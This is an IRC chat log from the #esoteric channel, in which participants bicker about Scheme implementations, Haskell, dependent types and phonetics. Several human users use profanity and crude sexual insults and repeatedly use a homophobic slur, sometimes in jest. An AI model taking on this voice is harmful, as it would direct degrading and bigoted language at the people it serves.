:alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: uh you can have inductively defined sets without russel's paradox, idiot < 1267840296 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*Russell < 1267840310 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(1) fuck you < 1267840313 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(2) learn set theory < 1267840423 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'll fuck set theory right into your skull? < 1267840558 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267840639 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :(3) realize lisp is really just analogous to all that was just said < 1267840753 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(4) fuck lisp right into your skull < 1267840916 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I'd love that < 1267840921 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :nice curvy forms < 1267840930 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :D-8 < 1267840953 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :nice sexp character < 1267840988 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should learn Scheme, probably
< 1267840993 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But I'm still on a Ruby high < 1267841026 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Ugh dump that shit and learn scheme < 1267841039 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ugh dump that shit and love you some Haskell. < 1267841051 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :No, don't listen to pikhq's fanboyism < 1267841058 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :All haskelletons are the same < 1267841075 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Morphisms on the category Hask? < 1267841078 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Fuck it, I'll learn PHP. You all lose. < 1267841092 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: No, only you lose in this case. < 1267841095 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(With me included in "you all", obviously) < 1267841097 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Lose all remaining humanity, that is. < 1267841110 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(see zzo38) < 1267841154 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"There will be no in-depth pedagogy; no dwelling on the semantic appeal of Scheme; no metacircular interpreters; no discussion of the underlying implementation; and no evangelizing about Scheme's virtues" < 1267841164 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, maybe I should skip this tutorial < 1267841315 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo LERN PYTHIN < 1267841327 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::x < 1267841347 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Learn MIPS assembly < 1267841369 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Python is my main languag < 1267841373 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*language < 1267841386 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that was quick < 1267841448 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267841449 0 :MissPiggy!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1267841497 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267842412 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, should I use PLT-Scheme? < 1267842535 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :NOOOOOES < 1267842548 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267842588 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :More so than any other Scheme, PLT stands for Pretentious Little Troglodytes < 1267842598 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267842615 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1267842637 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, I've had ... dealings ... with some of the major PLT Scheme folks. < 1267842657 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, um, right now I'm more focused on the language than the communuty < 1267842668 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Definitely MIPS. < 1267842677 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has already downloaded PLT
< 1267842690 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm not referring to the community, I'm referring to the developers. < 1267843905 0 :angstrom!unknown@unknown.invalid PART #esoteric :? < 1267844773 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1267846293 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: NO < 1267846295 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Not plt < 1267846302 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Gregor is right < 1267846304 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence, why not? < 1267846321 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :And I have the authority to say this since I am on both Scheme standards committees < 1267846333 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Pretentious Little Troglodytes ... < 1267846345 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1267846360 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So the people suck. Who cares? < 1267846367 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Go with Chicken Scheme or Chibi Scheme if you want more or less friendly, general purpose use < 1267846379 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Ikarus or Larceny for fast-code-generating compilers < 1267846448 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there a reason other to, other than the devs being obnoxious? < 1267846982 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, Chicken Scheme has a very cool implementation. < 1267847305 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Howso? < 1267847348 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, is this infix convention a PLT thing, or a Scheme thing? < 1267847403 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It compiles everything using continuation-passing style into C (without TCO), and uses the C stack as a generation in the Scheme heap. < 1267847452 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :When the C stack is about to overflow, it longjmps to the trampoline, which copies live objects on the stack into the heap, and then goes back to the Scheme program in process. < 1267847585 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Yes there are reasons < 1267847627 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Anyway I'm sure you just love the gui of dr scheme or something and that's the reason you're not motivated to change < 1267847803 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence, ok, what are these reasons? < 1267847832 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :TOO EVIL TO MENTION < 1267847856 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I don't really feel like justifying it to you < 1267847871 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :You can either take the money I'm giving you, or continue to question if the money is real and not take it. < 1267847896 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :This seems... familiar < 1267847923 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I couldn't explain to you because you don't know scheme. < 1267847927 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Are you going to supposedly torture me if I don't take the "money"? < 1267847929 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :You don't know its idioms. < 1267847942 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :You don't know how compiling it works, you don't know how interpreting it works. < 1267847954 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :You don't know what macro expansion is, you probably don't even know the evaluation semantics < 1267847973 0 :oklokok!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267847991 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :So why should I bother taking 384 hours explaining the faults of PLT Scheme to you relative to the language at hand when you don't know anything about it except it uses a fuckton of parentheses? < 1267848239 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267848358 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : The notation is pretty old school < 1267848375 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :understatement of the year? (no i've never seen it, i think) < 1267848606 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267848696 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :18:04:18 All haskelletons are the same < 1267848696 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :18:04:35 ... Morphisms on the category Hask? < 1267848706 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :on the skeleton category of Hask, naturally < 1267848714 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, of course. < 1267848780 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :With a pullback on the foreskin of my cock lifted into YourAss hole monad < 1267848831 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Are keywords a Scheme thing or a PLT thing? < 1267848845 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: that's a really remarkable combination of offense and category theory < 1267848849 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: PLT thing surely < 1267848880 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I told you to not use it, because now you're turning stupider and stupider about scheme < 1267848884 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also a common lisp thing iirc < 1267848894 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :they are not keywords < 1267848953 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Keywords? Scheme? < 1267848966 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What craziness is this? < 1267848971 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :PLT's < 1267848978 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267848980 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :But Sgeo insists on PLT < 1267849255 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267849301 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267854706 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1267855494 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sp bitches < 1267856023 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1267856073 0 :lifthrasiir!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267856239 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: people who hate PLT < 1267856398 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267856428 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence, if I switch DrScheme to R5RS, will we both be happy? < 1267856479 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I'm happy. I won't feel bad for you being attached to the GUI and Fisher Price My First Programming Language tutorials. < 1267856551 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i like drscheme < 1267856570 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: you seem quite attached to Fisher Price My First Metaphors < 1267856578 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Yeah I am < 1267856580 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Two channels so far < 1267856589 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Third time'll be the charm < 1267856601 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :also, people who hate PLT < 1267856612 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :are the same people who don't shower < 1267856624 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267856633 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and who stab babies < 1267856637 0 :lifthrasiir!jsVmKgTB@haje12.kaist.ac.kr JOIN :#esoteric < 1267856653 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: yeh < 1267856758 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :for example, this guy clearly hates PLT, just look at his printer: http://www.gearfuse.com/wp-content/uploads/2007/10/nerd.jpg < 1267856828 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also UNIX beards. < 1267856834 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION strokes his UNIX beard
< 1267856857 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's both a fashion accessory *and* a way of detracting ladies! < 1267856960 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION strokes his lack of facial hair.
< 1267857633 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267858962 0 :Asztal!~asztal@host86-162-151-221.range86-162.btcentralplus.com JOIN :#esoteric < 1267859380 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(procedure? procedure?) < 1267859564 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267859624 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :PROC < 1267859625 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :PROC < 1267859843 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267860290 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :According to R5RS, "w" is a semivowel < 1267860412 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Oo < 1267860419 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :why does that matter? (I know nothing of Scheme) < 1267860459 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't. It was just in an example < 1267860463 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267860468 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :anyways, maybe they're Welsh? < 1267860813 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"w" is to "oo" (as in tool) as "t" is to "s" < 1267860852 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Being effectively a plosive makes it usable only as a consonant (it can't be held like a vowel), but it is fundamentally produced as a vowel sound. < 1267861032 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :HAY GUYS < 1267861038 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :WANNA KNOW ABOUT A COOL GRAMMAR FORMALISM? < 1267861039 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :8D < 1267861055 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, w is indeed a semi vowel. < 1267861063 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :semivowel is another word for glide. < 1267861082 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, you lost me < 1267861086 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :linguistics is not a long suit < 1267861199 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1267861206 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"glide" is the word I couldn't find there. < 1267861245 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Glides are to vowels as plosives are to fricatives. < 1267861251 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Roughly speaking) < 1267861548 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, only one of those words carries any meaning to me < 1267861674 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Poor pooppy :P < 1267862399 0 :clog!unknown@unknown.invalid QUIT :ended < 1267862400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1267862522 0 :cheater2!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267862548 0 :cheater2!~cheater@ip-80-226-12-237.vodafone-net.de JOIN :#esoteric < 1267862956 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267863574 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267863620 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so Gregor < 1267863626 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :about these range concatenation grammars < 1267863636 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :they're basically a bunch of prolog predicates, in many ways < 1267863651 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :only instead of having the values true or false, or whatever < 1267863657 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :they have string values < 1267863668 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :where "true" is the empty string < 1267863859 0 :MigoMipo!~migomipo@84-217-3-174.tn.glocalnet.net JOIN :#esoteric < 1267863976 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267864026 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hey coppro < 1267864034 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wanna learn about range concatenation grammars? :D < 1267864703 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267865262 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(display "Good night all") < 1267865424 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :night you < 1267866029 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267866198 0 :MigoMipo!~MigoMipo@84-217-3-174.tn.glocalnet.net JOIN :#esoteric < 1267866453 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267869545 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267871053 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267871998 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :[02:26.50] wanna learn about range concatenation grammars? :D < 1267871999 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1267872773 0 :alise!~d4b78c35@gateway/web/freenode/x-axjgnxcshdwhmvwm JOIN :#esoteric < 1267872788 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yo < 1267872965 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :19:32:01 And I have the authority to say this since I am on both Scheme standards committees < 1267872970 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :including r6rs? < 1267872977 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you are a horrible person < 1267872982 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :No, the current standards < 1267873015 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :The small scheme and big scheme, in development < 1267873045 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you are still a horrible person :p < 1267873074 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267873075 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Why? < 1267873198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i am typing while walking down srfarirs < 1267873230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HD got parked for ages < 1267873249 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267873261 0 :alise_!~d4b78c35@gateway/web/freenode/x-tzwhoeqjkwcbdzfl JOIN :#esoteric < 1267873271 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: cuz I'm an r5rs fanboi < 1267873295 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Me too < 1267873308 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Which is why the plan is to ditch r6rs entirely < 1267873350 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah, but "big scheme" is still a fundamental misunderstanding < 1267873352 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :imo :P < 1267873360 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but then I'm even worse than a haskell fag, I'm a dependent-types fag < 1267873399 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I get to be holier-than-thou in both programming (to... everyone else) and logic (to everyone (well I think there's about 3 other constructivists in the world so)) < 1267873424 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Actually I am a dependent type fag too < 1267873432 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sweet! Let's procreate. < 1267873440 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :wow okay are you hot? < 1267873446 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Note: I am actually male.) < 1267873460 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(If you have been mislead, this was entirely intentional. Have a nice day!) < 1267873462 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :(me too, doesn't mean we can't procreate, right?) < 1267873463 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: When two people dream the same dream, it ceases to be an illusion. KVIrc 3.4.2 Shiny http://www.kvirc.net < 1267873489 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(is it technically procreation?) < 1267873492 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267873516 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :(depends on how procreation occurs) < 1267873528 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I appear to be fulfilling my prophecy that once I obtain a laptop, I will never turn it off while moving. < 1267873529 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :NEVER < 1267873536 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly it turns out the 3G reception is pretty shitty in taxis < 1267873576 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :wait now quad is here? < 1267873596 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: ok then maybe you'll hate me more for the fact that I'm an everything-in-computing-is-broken-and-my-system-that-breaks-every-existing-thing-will-make-it-right charlatan < 1267873603 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: I made this channel < 1267873623 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise_: i don't get it < 1267873656 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: now I'm doubting whether you're actually on the committee :) < 1267873667 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise_: My name is Robert Smith < 1267873670 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Go look it up < 1267873724 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :now that depends on me trusting your claim "My name is Robert Smith", which amounts to exactly the same trust issue :) < 1267873728 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, what bit don't you get? < 1267873734 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :the whole thing < 1267873762 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok, what error message did your mind spit back? < 1267873772 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :this is like "I tried (f x2) and it didn't work" < 1267873792 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :are you saying all current systems are not optimal for computing? < 1267873800 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :systems => programming languages < 1267873805 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :computing => programming < 1267873831 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :system = language/OS/interface/everything < 1267873835 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :they're broken at every level < 1267873849 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Theoretically or practically? < 1267873876 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :If you say theoretically, this conversation will have become uninteresting < 1267873897 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :`well, theoretically yes, but practically mostly < 1267873901 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267873923 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: i.e. some things I've invested theoretically < 1267873925 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but the motivation is wholly practical means < 1267873943 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not that the resulting system is /practical/ since its sheer novelty means that... nothing existing works pretty much < 1267873966 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Okay, so do you think there can be a much, much better programming language? < 1267873973 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :(let us not talk about OSes and stuff) < 1267873993 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, that's the thing: I make no distinction between the running language environment (think Smalltalk) and the OS. < 1267874004 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But if you mean the actual little snippets of code at the bottom... < 1267874009 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"Maybe". Much, much better than C? Hell yes. < 1267874013 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Than Scheme? Sure. < 1267874038 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Than Fagskell? < 1267874039 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Than Agda, say (although it has many foibles) or Epigram? Not much, much, *much* better. Not for humans, at least. < 1267874041 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That's all speculation though and I'll probably be proved wrong. < 1267874050 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Well let's not get into that :P < 1267874056 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :You will be proved wrong < 1267874070 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes, likely < 1267874074 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what i'm trying to say is < 1267874075 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Certainly < 1267874083 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i cannot /imagine/ a much, much, *much* better language than those < 1267874085 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :much, much better sure < 1267874088 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I can. < 1267874089 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :imagine but not specify ofc < 1267874093 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :And I mean that seriously. < 1267874098 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what is it, Forth? :-) < 1267874102 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Hahaha < 1267874105 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267874111 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I am in the process of designing it now. < 1267874114 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :INTERCAL? < 1267874120 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: oh R7RS? < 1267874123 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :No < 1267874125 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Definitely not < 1267874132 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what, then? < 1267874136 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :This is my own project. < 1267874149 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :let me just say that I'm doubtful your language designing skills so greatly exceeds those of every other language designer in the history of the universe :P < 1267874165 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*exceed < 1267874167 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :That's fine. < 1267874178 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, IRCing in a taxi, doo doo doo. god dammit a corner, doo doo AAAAAAAAAH < 1267874180 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :But if I stand on their shoulders, then I can still reach higher < 1267874190 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i guess this is why people use the suspend feature on laptops < 1267874194 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: okay fine < 1267874204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: you probably still want it stored as utf-8 text in files on posix though < 1267874204 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :but I still see what you mean < 1267874208 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :FOR WHICH YOU ARE ABOMINABLE < 1267874218 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267874224 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what what? < 1267874229 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :The language is being specified purely theoretically first. < 1267874241 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes, with a syntax based on streams of characters. < 1267874260 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And as running-as-a-process rather than living-environment (think Smalltalk in the 70s when it was actually the OS) < 1267874289 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Note: Most "AST editing nao! ASCII code sux!" people are 